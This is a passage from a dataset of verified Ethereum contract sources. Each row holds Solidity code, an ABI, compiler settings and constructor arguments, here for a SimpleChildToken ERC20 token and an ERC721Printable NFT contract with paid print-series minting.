me":"payee","type":"address"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"RefundETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"payee","type":"address"},{"indexed":true,"name":"token","type":"address"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"RefundERC20","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"previousOwner","type":"address"},{"indexed":true,"name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"}] | v0.4.24+commit.e67f0147 | true | 200 | 000000000000000000000000025bf0b26099c10b3f90f3a040703064faf84ac200000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e000000000000000000000000000000000000000000052b7d2dcc80cd2e4000000000000000000000000000000000000000000000000000000000000000000001200000000000000000000000000000000000000000000000000000000000000094d6f6f6b546f6b656e000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000024d54000000000000000000000000000000000000000000000000000000000000 | Default | false | bzzr://3ad6ad55aadee502c53a711f8c0f2fdc334bbcb68c344a76aee5d1ac28681c63 |
|||
SimpleChildToken | contracts/ChildToken.sol | 0x3dda0d81b48aead148585664d4c0e369701ba9bf | Solidity | /**
* @title ChildToken
* @dev ChildToken is the base contract of child token contracts
*/
contract ChildToken is StandardToken {
} | [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"tokenContract","type":"address"},{"name":"payee","type":"address"},{"name":"amount","type":"uint256"}],"name":"refundERC20","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"payee","type":"address"},{"name":"amount","type":"uint256"}],"name":"refundETH","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_subtractedValue","type":"uint256"}],"name":"decreaseApproval","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_addedValue","type":"uint256"}],"name":"increaseApproval","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[{"name":"_owner","type":"address"},{"name":"_name","type":"string"},{"name":"_symbol","type":"string"},{"name":"_initSupply","type":"uint256"},{"name":"_decimals","type":"uint8"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"payee","type":"address"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"RefundETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"payee","type":"address"},{"indexed":true,"name":"token","type":"address"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"RefundERC20","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"previousOwner","type":"address"},{"indexed":true,"name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"}] | v0.4.24+commit.e67f0147 | true | 200 | 000000000000000000000000025bf0b26099c10b3f90f3a040703064faf84ac200000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e000000000000000000000000000000000000000000052b7d2dcc80cd2e4000000000000000000000000000000000000000000000000000000000000000000001200000000000000000000000000000000000000000000000000000000000000094d6f6f6b546f6b656e000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000024d54000000000000000000000000000000000000000000000000000000000000 | Default | false | bzzr://3ad6ad55aadee502c53a711f8c0f2fdc334bbcb68c344a76aee5d1ac28681c63 |
|||
SimpleChildToken | openzeppelin-solidity/contracts/ownership/Ownable.sol | 0x3dda0d81b48aead148585664d4c0e369701ba9bf | Solidity | /**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
} | [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"tokenContract","type":"address"},{"name":"payee","type":"address"},{"name":"amount","type":"uint256"}],"name":"refundERC20","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"payee","type":"address"},{"name":"amount","type":"uint256"}],"name":"refundETH","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_subtractedValue","type":"uint256"}],"name":"decreaseApproval","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_addedValue","type":"uint256"}],"name":"increaseApproval","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[{"name":"_owner","type":"address"},{"name":"_name","type":"string"},{"name":"_symbol","type":"string"},{"name":"_initSupply","type":"uint256"},{"name":"_decimals","type":"uint8"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"payee","type":"address"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"RefundETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"payee","type":"address"},{"indexed":true,"name":"token","type":"address"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"RefundERC20","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"previousOwner","type":"address"},{"indexed":true,"name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"}] | v0.4.24+commit.e67f0147 | true | 200 | 000000000000000000000000025bf0b26099c10b3f90f3a040703064faf84ac200000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e000000000000000000000000000000000000000000052b7d2dcc80cd2e4000000000000000000000000000000000000000000000000000000000000000000001200000000000000000000000000000000000000000000000000000000000000094d6f6f6b546f6b656e000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000024d54000000000000000000000000000000000000000000000000000000000000 | Default | false | bzzr://3ad6ad55aadee502c53a711f8c0f2fdc334bbcb68c344a76aee5d1ac28681c63 |
|||
SimpleChildToken | contracts/SimpleChildToken.sol | 0x3dda0d81b48aead148585664d4c0e369701ba9bf | Solidity | /**
* @title SimpleChildToken
* @dev Simple child token to be generated by TokenFather.
*/
contract SimpleChildToken is ChildToken, Refundable {
string public name;
string public symbol;
uint8 public decimals;
function SimpleChildToken(address _owner, string _name, string _symbol, uint256 _initSupply, uint8 _decimals) public {
require(_owner != address(0));
owner = _owner;
name = _name;
symbol = _symbol;
decimals = _decimals;
uint256 amount = _initSupply;
totalSupply_ = totalSupply_.add(amount);
balances[owner] = balances[owner].add(amount);
Transfer(address(0), owner, amount);
}
} | [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"tokenContract","type":"address"},{"name":"payee","type":"address"},{"name":"amount","type":"uint256"}],"name":"refundERC20","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"payee","type":"address"},{"name":"amount","type":"uint256"}],"name":"refundETH","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_subtractedValue","type":"uint256"}],"name":"decreaseApproval","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_addedValue","type":"uint256"}],"name":"increaseApproval","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[{"name":"_owner","type":"address"},{"name":"_name","type":"string"},{"name":"_symbol","type":"string"},{"name":"_initSupply","type":"uint256"},{"name":"_decimals","type":"uint8"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"payee","type":"address"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"RefundETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"payee","type":"address"},{"indexed":true,"name":"token","type":"address"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"RefundERC20","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"previousOwner","type":"address"},{"indexed":true,"name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"}] | v0.4.24+commit.e67f0147 | true | 200 | 000000000000000000000000025bf0b26099c10b3f90f3a040703064faf84ac200000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e000000000000000000000000000000000000000000052b7d2dcc80cd2e4000000000000000000000000000000000000000000000000000000000000000000001200000000000000000000000000000000000000000000000000000000000000094d6f6f6b546f6b656e000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000024d54000000000000000000000000000000000000000000000000000000000000 | Default | false | bzzr://3ad6ad55aadee502c53a711f8c0f2fdc334bbcb68c344a76aee5d1ac28681c63 |
|||
ERC721Printable | IERC2981.sol | 0x0b0070b8856e2c94dd13520ac0d9654b0004abce | Solidity | // SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC2981 {
/// @notice Called with the sale price to determine how much royalty
// is owed and to whom.
/// @param _tokenId - the NFT asset queried for royalty information
/// @param _salePrice - the sale price of the NFT asset specified by _tokenId
/// @return receiver - address of who should be sent the royalty payment
/// @return royaltyAmount - the royalty payment amount for _salePrice
function royaltyInfo(
uint256 _tokenId,
uint256 _salePrice
) external view returns (
address receiver,
uint256 royaltyAmount
);
} | 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payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"PreMintData","outputs":[{"internalType":"uint256","name":"amount_of_tokens_left","type":"uint256"},{"internalType":"uint256","name":"price","type":"uint256"},{"internalType":"address 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"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"exchange","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForExchange","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenOfOwnerByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenOwners","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSeries","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.6.12+commit.27d51765 | true | 200 | 00000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e000000000000000000000000000000000000000000000000000000000000001200000000000000000000000007638fb46bfab88344b9770b39e09f30e2912dd52000000000000000000000000000000000000000000000000000000000000003200000000000000000000000000000000000000000000000000000000000000104a61686f677320456d706f7269756d200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000094a61686f67676965730000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003368747470733a2f2f6d657461646174612e6d696e7461626c652e6170702f70776b676a4c456b74484244333668666648496c2f00000000000000000000000000 | Default | MIT | false | ipfs://d6fa2e15cca4326a99fc0facbedff84f6875ef7dcc76eebe03cd7c03b869105a |
||
ERC721Printable | Printable.sol | 0x0b0070b8856e2c94dd13520ac0d9654b0004abce | Solidity | // SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "./ERC721Batch.sol";
/**
* @title ERC721 Printable Token
* @dev ERC721 Token that can be be printed before being sold and not incur high gas fees
*/
contract ERC721Printable is ERC721 {
uint256 public totalSeries;
address payable public MintableAddress;
mapping(uint256 => PreMint) public PreMintData;
mapping(uint256 => bool) public PrintSeries;
struct PreMint {
uint256 amount_of_tokens_left;
uint256 price;
address payable creator;
uint256 royaltyAmount;
string url;
}
event SeriesMade(address indexed creator, uint256 indexed price, uint256 indexed amount_made);
event SeriesPurchased(address indexed buyer, uint256 indexed token_id, uint256 indexed price);
constructor(
string memory name,
string memory symbol,
string memory baseURI,
address _royaltyReceiver,
uint256 batch_amount
) public ERC721(name, symbol, baseURI, _royaltyReceiver, batch_amount) {
MintableAddress = msg.sender;
}
function _createPrintSeries(uint256 _totalAmount, uint256 _price, string memory _url, uint256 _royaltyAmount) internal returns (bool){
totalSeries = totalSeries.add(1);
PrintSeries[totalSeries] = true;
PreMintData[totalSeries] = PreMint({
amount_of_tokens_left: _totalAmount,
price: _price,
url: _url,
royaltyAmount: _royaltyAmount,
creator: msg.sender
});
emit SeriesMade(msg.sender, _price, _totalAmount);
return true;
}
function createPrintSeries(uint256 _amount, uint256 _price, string memory _url, uint256 _royaltyAmount) public onlyOwner returns (bool){
return _createPrintSeries(_amount, _price, _url, _royaltyAmount);
}
function mintSeries(uint256 _seriesID, address _to) public payable returns (bool){
require(PrintSeries[_seriesID], "Not a valid series");
require(PreMintData[_seriesID].amount_of_tokens_left >= 1, "Series is SOLD OUT!");
require(msg.value >= PreMintData[_seriesID].price, "Invalid amount sent to purchase this NFT");
PreMintData[_seriesID].amount_of_tokens_left = PreMintData[_seriesID].amount_of_tokens_left.sub(1);
if(PreMintData[_seriesID].amount_of_tokens_left == 0){
PrintSeries[_seriesID] = false;
}
emit SeriesPurchased( msg.sender, super.totalSupply().add(1), msg.value);
super._mintWithURI(_to, PreMintData[_seriesID].url, PreMintData[_seriesID].royaltyAmount);
uint256 fee = (msg.value.mul(10)).div(100);
PreMintData[_seriesID].creator.transfer(msg.value.sub(fee));
require(address(this).balance >= fee, "Not enough balance to send fee");
MintableAddress.transfer(fee);
return true;
}
} | [{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"symbol","type":"string"},{"internalType":"string","name":"baseURI","type":"string"},{"internalType":"address","name":"_royaltyReceiver","type":"address"},{"internalType":"uint256","name":"batch_amount","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"creator","type":"address"},{"indexed":true,"internalType":"uint256","name":"price","type":"uint256"},{"indexed":true,"internalType":"uint256","name":"amount_made","type":"uint256"}],"name":"SeriesMade","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"buyer","type":"address"},{"indexed":true,"internalType":"uint256","name":"token_id","type":"uint256"},{"indexed":true,"internalType":"uint256","name":"price","type":"uint256"}],"name":"SeriesPurchased","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"BalancesMap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MAX_MINT","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MintableAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"PreMintData","outputs":[{"internalType":"uint256","name":"amount_of_tokens_left","type":"uint256"},{"internalType":"uint256","name":"price","type":"uint256"},{"internalType":"address payable","name":"creator","type":"address"},{"internalType":"uint256","name":"royaltyAmount","type":"uint256"},{"internalType":"string","name":"url","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"PrintSeries","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"_batchMintOwnersMap","outputs":[{"internalType":"uint256","name":"start","type":"uint256"},{"internalType":"uint256","name":"end","type":"uint256"},{"internalType":"uint256","name":"royalty","type":"uint256"},{"internalType":"address","name":"owner","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"_exists","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalBatches","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"baseURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"count","type":"uint256"},{"internalType":"uint256","name":"_royaltyAmount","type":"uint256"}],"name":"batchMint","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"uint256","name":"_price","type":"uint256"},{"internalType":"string","name":"_url","type":"string"},{"internalType":"uint256","name":"_royaltyAmount","type":"uint256"}],"name":"createPrintSeries","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"_royalty","type":"uint256"}],"name":"mint","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_seriesID","type":"uint256"},{"internalType":"address","name":"_to","type":"address"}],"name":"mintSeries","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"string","name":"url","type":"string"},{"internalType":"uint256","name":"_royalty","type":"uint256"}],"name":"mintWithURI","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"royaltyAmounts","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_tokenId","type":"uint256"},{"internalType":"uint256","name":"_salePrice","type":"uint256"}],"name":"royaltyInfo","outputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalT